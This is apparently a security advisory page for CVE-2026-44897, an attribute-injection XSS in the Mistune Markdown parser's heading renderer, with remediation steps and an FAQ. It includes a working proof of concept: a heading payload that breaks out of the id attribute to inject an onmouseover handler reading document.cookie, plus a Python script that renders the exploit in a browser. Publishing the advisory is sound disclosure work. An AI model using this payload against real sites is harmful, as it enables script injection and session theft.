CVE-2026-44897: Mistune Heading ID Attribute Injection XSS

Published May 9, 2026
·
Updated

Summary HTMLRenderer.heading() builds the opening <hN> tag by string-concatenating the id attribute value directly into the HTML — with no call to escape(), safeentity(), or any other sanitisation function. A double-quote character " in the id value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, src=, href=, etc.) into the heading element.

The default TOC hook assigns safe auto-incremented IDs (toc1, toc2, …) that never contain user text. However, the addtochook() API accepts a caller-supplied headingid callback. Deriving heading IDs from the heading text itself — to produce human-readable slug anchors like #installation or #getting-started — is by far the most common real-world usage of this callback (every major documentation generator does this). When the callback returns raw heading text, an attacker who controls heading content can break out of the id= attribute.

Details File: src/mistune/renderers/html.py

python def heading(self, text: str, level: int, attrs: Any) -> str: tag = "h" + str(level) html = "<" + tag id = attrs.get("id") if id: html += ' id="' + id + '"' # ← id is never escaped return html + ">" + text + "</" + tag + ">\n"

The text body (line content) is escaped upstream by the inline token renderer, which is why text arrives as &quot; etc. But id arrives as a raw string directly from whatever the headingid callback returned — no escaping occurs at any point in the pipeline.

PoC Step 1 — Establish the baseline (safe default IDs)

The script creates a parser with escape=True and the default addtochook() (no custom headingid callback). The default hook generates sequential numeric IDs:

python mdsafe = createmarkdown(escape=True) addtochook(mdsafe) # default: headingid produces toc1, toc2, …

blsrc = "## Introduction\n" blout, = mdsafe.parse(blsrc)

Output — ID is auto-generated, no user text appears in it: html <h2 id="toc1">Introduction</h2>

Step 2 — Add the realistic trigger: a text-based headingid callback

Deriving an anchor ID from the heading text is the standard real-world pattern (slugifiers, mkdocs, sphinx, jekyll all do this). The PoC uses the simplest possible version — return the raw heading text unchanged — to show the vulnerability without any extra transformation:

python def rawid(token, index): return token.get("text", "") # returns raw heading text as the ID

mdvuln = createmarkdown(escape=True) addtochook(mdvuln, headingid=rawid)

Step 3 — Craft the exploit payload

Construct a heading whose text contains a double-quote followed by an injected attribute:

foo" onmouseover="alert(document.cookie)" x="

When rawid is called, token["text"] is foo" onmouseover="alert(document.cookie)" x=". This is passed verbatim to heading() as the id attribute value.

Step 4 — Observe attribute breakout in the output

python exsrc = '## foo" onmouseover="alert(document.cookie)" x="\n' exout, = mdvuln.parse(exsrc)

Actual output: html <h2 id="foo" onmouseover="alert(document.cookie)" x="">foo&quot; onmouseover=&quot;alert(document.cookie)&quot; x=&quot;</h2>

Note: the heading body text is correctly escaped (&quot;), but the id= attribute is not. A user who moves their mouse over the heading triggers alert(document.cookie). Any JavaScript payload can be substituted.

Script

A verification script was created to verify this issue. It creates a HTML page showing the bypass rendering in the browser.

python #!/usr/bin/env python3 """H2: HTMLRenderer.heading() inserts the id= value verbatim — no escaping.""" import os, html as h from mistune import createmarkdown from mistune.toc import addtochook

def rawid(token, index): return token.get("text", "")

--- baseline --- mdsafe = createmarkdown(escape=True) addtochook(mdsafe)

blfile = "baselineh2.md" blsrc = "## Introduction\n" with open(os.path.join(os.getcwd(), blfile), "w") as f: f.write(blsrc) blout, = mdsafe.parse(blsrc)

print(f"[{blfile}]\n{blsrc}") print("[output — id=toc1, no user content, safe]") print(blout)

--- exploit --- mdvuln = createmarkdown(escape=True) addtochook(mdvuln, headingid=rawid)

exfile = "exploith2.md" exsrc = '## foo" onmouseover="alert(document.cookie)" x="\n' with open(os.path.join(os.getcwd(), exfile), "w") as f: f.write(exsrc) exout, = mdvuln.parse(exsrc)

print(f"[{exfile}]\n{exsrc}") print("[output — headingid returns raw text, id= not escaped]") print(exout)

--- HTML report --- CSS = """ body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px} h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px} p.desc{color:#555;font-size:.9em;margin-top:6px} .case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)} .case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em} .baseline .case-header{background:#d1fae5;color:#065f46} .exploit .case-header{background:#fee2e2;color:#7f1d1d} .panels{display:grid;grid-template-columns:1fr 1fr;background:#fff} .panel{padding:16px} .panel+.panel{border-left:1px solid #eee} .panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em} pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all} .rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace} .rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em} """

def case(kind, label, filename, src, out): return f""" <div class="case {kind}"> <div class="case-header">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}</div> <div class="panels"> <div class="panel"> <h3>Input — {h.escape(filename)}</h3> <pre>{h.escape(src)}</pre> </div> <div class="panel"> <h3>Output — HTML source</h3> <pre>{h.escape(out)}</pre> <div class="rlabel">↓ rendered in browser (hover the heading to trigger onmouseover)</div> <div class="rendered">{out}</div> </div> </div> </div>"""

page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"> <title>H2 — Heading ID XSS</title><style>{CSS}</style></head><body> <h1>H2 — Heading ID XSS (unescaped id= attribute)</h1> <p class="desc">HTMLRenderer.heading() in renderers/html.py does html += ' id="' + id + '"' with no escaping. Triggered when headingid callback returns raw heading text — the most common doc-generator pattern.</p> {case("baseline", "Clean heading → sequential id=toc1, safe", blfile, blsrc, blout)} {case("exploit", "Malicious heading → quotes break out of id=, onmouseover injected", exfile, exsrc, exout)} </body></html>"""

outpath = os.path.join(os.getcwd(), "reporth2.html") with open(outpath, "w") as f: f.write(page) print(f"\n[report] {outpath}")

Example Usage: bash python poc.py

Once the script is run, open reporth2.html in the browser and observe the behaviour.

Impact | Dimension | Assessment | |------------------|-----------| | Confidentiality | Session cookie / auth token theft via JavaScript execution triggered on mouse interaction | | Integrity | DOM manipulation, phishing content injection, forced navigation | | Availability | Page freeze or crash available to attacker |

Risk context: This vulnerability targets the most common customisation point for heading IDs. Any documentation site, wiki, or blog engine that generates slug-style anchors from heading text is vulnerable if it uses mistune's headingid callback without independently sanitising the returned value.

Other sources

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, HTMLRenderer.heading() builds the opening <hN> tag by string-concatenating the id attribute value directly into the HTML — with no call to escape(), safeentity(), or any other sanitisation function. A double-quote character " in the id value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, src=, href=, etc.) into the heading element. This vulnerability is fixed in 3.2.1.

MITRE

Affected Software

3 affected componentsFixes available
pip/mistune<=3.2.0
3.2.1
Mistune Project Mistune<3.2.1
Microsoft azl3 python-mistune 3.0.2-1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/mistune to a version that resolves this vulnerability.

    Fixed in 3.2.1
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 3.2.1
  3. Configuration

    Create the Markdown parser with escape=True (e.g., create_markdown(escape=True)) to ensure heading body text is escaped; note that the reported issue specifically concerns the id="..." attribute construction in HTMLRenderer.heading().

    Mistune (Markdown parser) escape = True
  4. Compensating control

    If using mistune.toc.add_toc_hook() with a caller-supplied heading_id callback, ensure the callback output used as the heading id value is independently sanitized/escaped before it is returned, because HTMLRenderer.heading() inserts id= verbatim with no escaping.

Event History

May 9, 2026
Advisory Published
via GitHub·12:13 AM
Data Sourced
via GitHub·12:13 AM
DescriptionSeverityWeaknessAffected Software
May 26, 2026
CVE Published
via MITRE·08:40 PM
Data Sourced
via MITRE·08:40 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:16 PM
DescriptionSeverityWeaknessAffected Software
May 28, 2026
Data Sourced
via Microsoft·08:06 AM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-44897?

CVE-2026-44897 has a medium severity rating due to potential XSS (Cross-Site Scripting) vulnerabilities.

2

How do I fix CVE-2026-44897?

To fix CVE-2026-44897, update the 'mistune' package to version 3.2.1 or later to ensure proper sanitization of HTML tags.

3

What is the risk associated with CVE-2026-44897?

The risk associated with CVE-2026-44897 is that an attacker can exploit the vulnerability to execute arbitrary JavaScript in a user's browser.

4

Which versions of 'mistune' are affected by CVE-2026-44897?

CVE-2026-44897 affects 'mistune' versions 3.2.0 and earlier.

5

Who is impacted by CVE-2026-44897?

Developers and organizations using 'mistune' below version 3.2.1 are impacted by CVE-2026-44897.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203